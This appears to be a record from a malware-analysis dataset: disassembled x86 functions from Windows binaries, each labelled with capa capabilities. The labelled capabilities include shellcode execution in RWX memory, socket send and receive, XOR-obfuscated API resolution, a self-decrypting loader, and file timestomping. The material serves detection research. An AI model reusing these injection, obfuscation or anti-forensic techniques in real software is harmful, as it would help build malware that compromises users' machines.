joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c4058
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [ebp - 0x38], 0xb957
mov dword [ebp - 0x34], 0xd1ff0000
mov dword [ebp - 0x30], 0xfb8158
mov dword [ebp - 0x2c], 0xf000000
mov dword [ebp - 0x28], 0x8c
mov dword [ebp - 0x24], 0x6800
mov dword [ebp - 0x20], 0xb90000
mov dword [ebp - 0x1c], 0x51000000
mov dword [ebp - 0x18], 0xbfc031
mov dword [ebp - 0x14], 0xb9000000
jmp 0x535fc0
lea ecx, [esi + 8]
mov dword [esi], edx
mov edx, dword [ebx + eax + 0x100]
push ecx
shr edx, 2
mov dword [ecx - 4], edx
mov eax, dword [ebx + eax + 0x100]
mov ecx, dword [esi]
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x6c752c]
mov ecx, dword [ebp - 0x80]
movzx edx, word [eax + 6]
jmp 0x5383f6
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
push 0x3000
xor ebx, ebx
push 0x1000
mov dl, 0xd1
push ebx
mov dword [ebp - 0x78], 0xbb
mov dword [ebp - 0x74], 0xba00
mov dword [ebp - 0x70], 0x3c8b0000
mov dword [ebp - 0x6c], 0x4c3831a
mov dword [ebp - 0x68], 0x831a0c8b
mov dword [ebp - 0x64], 0x348b04c3
mov dword [ebp - 0x60], 0x4c3831a
mov dword [ebp - 0x5c], 0xb860
jmp 0x5513e4
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], 0xff59aaf3
mov byte [ebp - 8], dl
mov dword [ebp - 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x84], eax
lea edi, [eax + 0x100]
mov eax, dword [0x6c752c]
xor ecx, ecx
mov dword [ebp - 0x80], ebx
cmp cx, word [eax + 6]
jae 0x538408
lea esi, [edi + 0xc]
mov edi, edi
mov edx, dword [ebx + eax + 0x104]
add edx, dword [0x6c7528]
jmp 0x477c6c
inc ecx
add esi, 0xc
add ebx, 0x28
mov dword [ebp - 0x80], ecx
cmp ecx, edx
jl 0x535ffb
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [eax + 0xf8]
mov dword [edi], ecx
mov edx, dword [eax + 0x50]
sub edx, eax
mov eax, dword [0x6c7528]
lea edx, [edx + eax - 0xf8]
shr edx, 2
mov dword [edi + 4], edx
lea eax, [ebp - 0x7c]
push eax
add edx, edx
push 0x40
add edx, edx
push edx
push ecx
mov dword [edi + 8], 4
call esi
mov dword [ebp - 0x72], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x58b54e
mov dword [ebp - 0x58], 0xaf0f0000
mov dword [ebp - 0x54], 0x490731c1
mov dword [ebp - 0x50], 0x8304c783
mov dword [ebp - 0x4c], 0x8f0f00f9
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0x6861
mov dword [ebp - 0x40], 0x56540000
mov dword [ebp - 0x3c], 0x5104c96b
jmp 0x46f204
mov edi, eax
call dword [sym.imp.msvcrt.dll_rand]
imul edi, eax
mov eax, dword [0x6c752c]
mov edx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x5a], edi
mov edi, dword [ebp - 0x84]
mov dword [ebp - 0x36], esi
mov dword [ebp - 0x48], 0xffffffe9
movzx eax, word [eax + 6]
lea ecx, [eax + eax*2 + 3]
add ecx, ecx
add ecx, ecx
mov dword [ebp - 0x2d], ecx
mov dword [ebp - 0x27], 0xffffffb0
jmp dword [0x58b595]
Function at 0x4d84ba
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x6c753c]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x44dc8b
push edi
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x100000
jle 0x4d84e9
mov eax, 0x100000
push 0
push eax
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
push 0x50c0a4
ret

Function at 0x4ee796
Capabilities:
Send data
Send data on socket

Disassembly:
test esi, esi
je 0x46c5d1
mov dl, bl
call fcn.00425c26
mov ecx, dword [ebp - 0x5c]
push 0
push edi
jmp dword [0x4327c2]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fc32e
mov esp, ebp
pop ebp
ret
lea ebx, [ebx]
mov eax, ecx
and eax, 0x80000001
jns 0x47b810
dec eax
or eax, 0xfffffffe
inc eax
je 0x47b821
mov al, bl
not al
imul cl
jmp 0x47b82b
mov al, cl
imul bl
mov dl, al
add dl, dl
add al, dl
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 0x4a
jl 0x47b7fe
mov ecx, dword [ebp - 0x5c]
push 0
push 0x50
lea eax, [ebp - 0x58]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp byte [ebp - 0x54], 0
je 0x4327a7
jmp dword [0x47b85b]
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 8], 0
mov eax, dword [0x6c753c]
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
mov edi, ecx
mov esi, edx
mov dword [ebp - 0x5c], eax
je 0x4327a7
jmp 0x5a95b4
call dword [sym.imp.msvcrt.dll_rand]
mov ecx, 0xbb8
cdq
idiv ecx
mov dword [ebp - 0x50], 0xc
mov dword [ebp - 0xc], edi
mov byte [ebp - 0x54], 1
mov byte [ebp - 0x53], bl
mov word [ebp - 0x58], dx
mov edx, ecx
sub edx, dword [ebp - 0x58]
xor ecx, ecx
mov word [ebp - 0x56], dx
jmp 0x47b7f8
Function at 0x52a040
Capabilities:
Create tcp socket
Create udp socket
Encode data using xor

Disassembly:
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
lea edx, [ebp - 0x118]
push edx
push 0x6823c8
call dword [sym.imp.msvcrt.dll_sprintf]
push 0x6823c8
call fcn.004d84a2
add esp, 0x10
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fc32e
mov esp, ebp
pop ebp
ret
xor eax, eax
lea esp, [esp]
lea ecx, [eax + 1]
imul ecx, ecx, 0x973
xor cx, word [eax*2 + 0x5beac4]
inc eax
jmp dword [0x4bb171]
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x6c753c], eax
cmp eax, 0xffffffff
jne 0x4bb150
xor eax, eax
nop
lea ecx, [eax + 1]
imul ecx, ecx, 0x3295
xor cx, word [eax*2 + 0x5beab0]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
cmp eax, 9
jl 0x52a074
jmp 0x4bb118
Function at 0x52f8d3
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [0x68061b], eax
mov dword [0x680621], edx
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
xor edx, edx
mov eax, ebx
add eax, 0x400
mov dword [0x68067b], eax
adc edx, edi
mov dword [0x68067f], edx
lea ecx, [ebx + 0x100]
mov dword [0x6800cd], ecx
lea eax, [ebp - 8]
cdq
mov dword [0x68068c], eax
mov eax, dword [ebp - 0x14]
mov dword [0x680690], edx
movzx edx, word [ebp - 0xc]
mov dword [ebx + 0x400], eax
jmp 0x535ef2
movzx eax, byte [0x6800d6]
mov byte [ebx + 0xa], al
mov edx, dword [0x68007c]
mov dword [ecx], edx
mov eax, dword [0x680080]
mov dword [ecx + 4], eax
mov edx, dword [0x680084]
mov dword [ecx + 8], edx
mov eax, dword [0x680088]
mov dword [ecx + 0xc], eax
movzx edx, word [0x68008c]
mov word [ecx + 0x10], dx
mov ecx, 0x2c
mov esi, 0x6805f0
lea edi, [ebx + 0x112]
jmp dword [0x4d0a9d]
mov ebx, dword [0x6c7668]
cmp ebx, edi
jne 0x505d0a
push 0x40
push 0x3000
push 0x1000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [0x6c7668], ebx
jmp 0x507779
mov eax, dword [0x6c766c]
jmp 0x50776a
push eax
call fcn.00539c3d
mov ebx, dword [0x6c7668]
add esp, 4
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x6805f9], edx
mov edx, dword [ebp + 0x10]
mov dword [0x6805fd], eax
mov eax, dword [ebp + 0x14]
mov dword [0x680603], edx
mov edx, dword [ebp + 0x18]
mov dword [0x680607], eax
mov eax, dword [ebp + 0x1c]
mov dword [0x68060d], edx
mov edx, dword [ebp + 0x20]
mov dword [0x680611], eax
mov eax, dword [ebp + 0x24]
mov dword [0x680617], edx
mov edx, dword [ebp + 0x28]
jmp 0x4051bc
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x6c72fc]
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 0x14], 0xb8d18b4c
mov word [ebp - 0xc], 0x50f
mov byte [ebp - 0xa], 0xc3
cmp eax, 6
jne 0x561659
mov eax, dword [0x6c7300]
cmp eax, 1
jne 0x561637
lea esi, [edi + 0x37]
jmp 0x561632
movzx eax, byte [ebp - 0xa]
mov dword [ebx + 0x404], esi
mov word [ebx + 0x408], dx
mov byte [ebx + 0x40a], al
mov edx, dword [0x6800cc]
mov dword [ebx], edx
mov eax, dword [0x6800d0]
mov dword [ebx + 4], eax
movzx edx, word [0x6800d4]
mov word [ebx + 8], dx
jmp 0x4d0a4e
jmp 0x505cdc
cmp eax, 2
jne 0x561648
lea esi, [eax + 0x36]
jmp 0x505cdc
cmp eax, 3
jne 0x505cdc
lea esi, [eax + 0x36]
jmp 0x505cdc
cmp eax, 0xa
jne 0x505cdc
lea esi, [eax + 0x30]
jmp 0x505cdc
Function at 0x52f992
Capabilities:
Encode data using xor

Disassembly:
call esi
mov ecx, dword [ebp - 0x310]
push ecx
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
lea edx, [ebp - 0x310]
mov ebx, eax
push edx
push ebx
call esi
test ebx, ebx
je 0x50dda8
xor eax, eax
cmp dword [ebx], eax
je 0x51d57a
lea ecx, [eax + 1]
imul ecx, ecx, 0x23be
xor cx, word [eax*2 + 0x5be75c]
inc eax
jmp 0x4e7606
jl 0x58a2ed
lea edx, [ebp - 0x20c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x50dda8
lea eax, [ebp - 0x310]
push eax
push 0
mov dword [ebp - 0x310], 0
jmp 0x44a9d0
call dword [sym.imp.msvcrt.dll_sprintf]
lea eax, [ebp - 0x10c]
add esp, 0x24
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4e5a05
mov edi, dword [ebp - 0x318]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4e5a19
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ebx, dword [ebx]
test ebx, ebx
jmp dword [0x4e5a3d]
mov word [ebp + eax*2 - 0x20e], cx
cmp eax, 0xc
jl 0x44aa00
movzx edx, byte [ebx + 0x199]
movzx eax, byte [ebx + 0x198]
movzx ecx, byte [ebx + 0x197]
push edx
movzx edx, byte [ebx + 0x196]
push eax
movzx eax, byte [ebx + 0x195]
push ecx
movzx ecx, byte [ebx + 0x194]
push edx
push eax
push ecx
lea edx, [ebx + 0x10c]
push edx
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x10c]
jmp 0x51d574
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004fc32e
mov esp, ebp
pop ebp
ret
push ecx
jmp 0x4e59f4
lea edx, [eax + 1]
imul edx, edx, 0x1d70
xor dx, word [eax*2 + 0x5be778]
inc eax
mov word [ebp + eax*2 - 0x20e], dx
cmp eax, 0xb
jl 0x51d57a
movzx eax, byte [ebx + 0x199]
movzx ecx, byte [ebx + 0x198]
movzx edx, byte [ebx + 0x197]
push eax
movzx eax, byte [ebx + 0x196]
push ecx
movzx ecx, byte [ebx + 0x195]
push edx
movzx edx, byte [ebx + 0x194]
jmp dword [0x51d5d1]
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x318], eax
test eax, eax
je 0x50ddaf
mov byte [eax], 0
xor eax, eax
lea esp, [esp]
lea ecx, [eax + 1]
imul ecx, ecx, 0x2514
xor cx, word [eax*2 + 0x5be738]
inc eax
mov word [ebp + eax*2 - 0x30e], cx
cmp eax, 7
jl 0x52f9c2
jmp 0x58a2cc
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x314], edi
test edi, edi
je 0x50ddaf
xor eax, eax
mov edi, edi
lea ecx, [eax + 1]
imul ecx, ecx, 0x3ebf
xor cx, word [eax*2 + 0x5be748]
inc eax
mov word [ebp + eax*2 - 0x20e], cx
cmp eax, 8
jmp 0x4cdad4
Function at 0x553680
Capabilities:
Enumerate pe sections

Disassembly:
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x4df6e2
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x5536c1
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x4df6e4
inc edx
add eax, 0x28
cmp edx, esi
jb 0x5536a9
jmp dword [0x5536d5]

Function at 0x593733
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x4ce55c
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4ce558
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
mov eax, edx
push 0x55367e
ret
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
jmp 0x4ce54a

Function at 0x59aaf3
Capabilities:
Encode data using xor

Disassembly:
call fcn.004fc32e
mov esp, ebp
pop ebp
ret
test byte [0x6cbaa4], cl
jne 0x4e770f
or dword [0x6cbaa4], ecx
xor eax, eax
jmp 0x4cc397
lea edx, [eax + 1]
imul edx, edx, 0x1d8b
xor dx, word [eax*2 + 0x5be248]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x4cc397
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4c32
jmp 0x4e76d4
xor dx, word [eax*2 + 0x5be260]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 7
jl 0x4cc3bd
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x6cbaa0], eax
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [0x6cbaa0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
jmp 0x4834b2
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
jmp 0x4cc37e

Function at 0x59b70a
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x328], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
push edi
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x330], 0x1000
cmp eax, ecx
je 0x46ef02
mov byte [eax], cl
mov byte [eax + 0xff], cl
lea ebx, [ebp - 0x330]
lea edi, [ebp - 0x324]
call fcn.004a37b2
xor ebx, ebx
mov dword [ebp - 0x1c], 0x68
mov dword [ebp - 0x18], 0xb800
jmp 0x4bb2b4
mov dword [ebp - 0x14], 0xd0ff0000
mov dword [ebp - 0x10], 0x589
mov dword [ebp - 0xc], 0x4c20000
mov byte [ebp - 8], bl
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x18cd
xor cx, word [eax*2 + 0x5be5c8]
inc eax
mov word [ebp + eax*2 - 0x222], cx
cmp eax, 7
jl 0x4bb2ce
jmp dword [0x4bb2f9]
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x46eecc
Function at 0x5a36c9
Capabilities:
Encode data using xor

Disassembly:
call sub.msvcrt.dll_memset
add esp, 0xc
mov esi, 0x6c72f8
mov dword [0x6c72f8], 0x114
call fcn.0041e2b7
mov edi, eax
xor eax, eax
jmp 0x513d83
lea ecx, [eax + 1]
imul ecx, ecx, 0x4f5a
xor cx, word [eax*2 + 0x5be1a4]
inc eax
mov word [ebp + eax*2 - 0x30a], cx
cmp eax, 5
jl 0x513d83
push 0x5561f2
ret
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x10043a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x114
push 0
push 0x6c72f8
mov dword [0x6c7410], eax
jmp 0x513d5e
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40288e
pop dword [ebp - 8]
mov eax, 0x40288e
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x23020f37
sub dword [ebp - 0x18], 0xd4afc9ec
mov dword [ebp - 0x14], 0xad000dc0
add dword [ebp - 0x14], 0x85333e85
mov dword [ebp - 0x10], 0xeb5ff75d
sub dword [ebp - 0x10], 0x9f13b32f
mov dword [ebp - 0xc], 0xbbc1328f
add dword [ebp - 0xc], 0x443ecd71
lea eax, [ebp - 0x18]
push eax
mov eax, 0x407d2c6f
add eax, 0xbfc3541d
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xe25b6700
add dword [ebp - 0x18], 0x92170256
mov dword [ebp - 0x14], 0x88fa2e41
add dword [ebp - 0x14], 0xb8723334
mov dword [ebp - 0x10], 0x4abc13c2
add dword [ebp - 0x10], 0x18b358aa
mov dword [ebp - 0xc], 0x66cc7ca4
add dword [ebp - 0xc], 0x9933835c
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x343e6
push 0
call eax
mov ecx, 0xa84c78f3
sub ecx, 0xa84c3a5c
mov edx, eax
mov ebx, 0xac5efe01
sub ebx, 0xac1dee01
add ebx, dword [ebp - 8]
mov esi, 0x62d133aa
mov dword [ebp - 4], 0x42016c4a
mov edi, dword [ebx]
sub dword [ebp - 4], edi
sub edi, esi
xor dword [ebp - 4], 0x8d494019
mov dword [edx], edi
mov dword [ebp - 4], 0x171a68a9
add edx, 0xac7e2e6f
sub edx, 0xac7e2e6b
add ebx, 0x5cdb494d
sub ebx, 0x5cdb4949
loop 0x4029a0
add eax, 0xed2f
mov ebx, eax
add eax, 0xf3247cda
sub eax, 0xf3247cd5
mov ecx, 0xa55cb0fe
add ecx, 0x5ae34f02
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x1000fb70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032df0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10046070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.1001579f
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10014a12
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010d10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100336b8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10046070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x80
push 3
push 0
push 2
push 4
push str.C:WindowsTempiislog.txt
mov dword [ebp - 4], 0
or edi, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
je 0x10010dbc
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, edi
je 0x10010db5
push 0x10041664
lea edx, [ebp + 8]
lea ecx, [ebp - 0x28]
call fcn.100096b0
add esp, 4
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0
push ecx
push dword [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [ebp - 0x28]
xor edi, edi
call fcn.10001b50
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 8]
call fcn.10001b50
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001578e
mov esp, ebp
pop ebp
ret
Function at 0x10011690
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x10046070]
xor eax, esp
mov dword [esp + 0x18], eax
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 4]
mov dword [esp + 0xc], 0x407e6
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x16], 0x90007
push eax
mov dword [esp + 0x1e], 0x170025
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
cmp dword [0x10047d8c], 8
mov eax, 0x10047d78
push 0
cmovae eax, dword [0x10047d78]
push 0x80
push 3
push 0
push 3
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10011720
lea eax, [esp + 4]
push eax
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
pop esi
xor ecx, esp
call fcn.1001578e
mov esp, ebp
pop ebp
ret
Function at 0x100127c0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10033aab
mov eax, dword fs:[0]
push eax
mov eax, 0x203c
call fcn.10016910
mov eax, dword [0x10046070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x2044], edi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x2010]
push 0x2000
push 0
push eax
mov dword [ebp - 0x2048], 0
call fcn.100187a0
add esp, 0xc
lea ecx, [ebp - 0x2040]
mov edx, esi
call fcn.10010fd0
cmp dword [0x10047d8c], 8
mov ecx, 0x10047d78
cmovae ecx, dword [0x10047d78]
cmp dword [eax + 0x14], 8
jb 0x10012847
mov eax, dword [eax]
cmp dword [ebx + 0x14], 8
jb 0x1001284f
mov ebx, dword [ebx]
push ecx
push 0x1000
lea ecx, [ebp - 0x2010]
push ecx
push 0x100416e4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x2040]
mov esi, eax
call fcn.100075f0
xor eax, eax
test esi, esi
je 0x100128e3
lea ecx, [ebp - 0x2010]
mov dword [ebp - 0x2018], eax
mov dword [ebp - 0x2014], 7
lea edx, [ecx + 2]
mov word [ebp - 0x2028], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100128a0
sub ecx, edx
lea eax, [ebp - 0x2010]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2028]
call fcn.10007660
lea edx, [ebp - 0x2028]
mov dword [ebp - 4], 0
mov ecx, edi
call fcn.10011060
lea ecx, [ebp - 0x2028]
call fcn.100075f0
jmp 0x10012902
push 0
mov dword [edi + 0x10], 0
mov ecx, edi
mov dword [edi + 0x14], 7
push 0x100416e4
mov word [edi], ax
call fcn.10007660
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001578e
mov esp, ebp
pop ebp
ret
Function at 0x1001a3dc
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x100374dc
push 0x100374d4
push str.FlsAlloc
push 0
call fcn.1001a35c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001a40e
push dword [ebp + 8]
mov ecx, esi
call fcn.100162d8
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x1001a450
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x100374ec
push 0x100374e4
push str.FlsGetValue
push 2
call fcn.1001a35c
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x1001a481
mov ecx, esi
call fcn.100162d8
call esi
jmp 0x1001a487
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x1001a48a
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x100374f4
push 0x100374ec
push str.FlsSetValue
push 3
call fcn.1001a35c
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x1001a4be
mov ecx, esi
call fcn.100162d8
call esi
jmp 0x1001a4c4
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret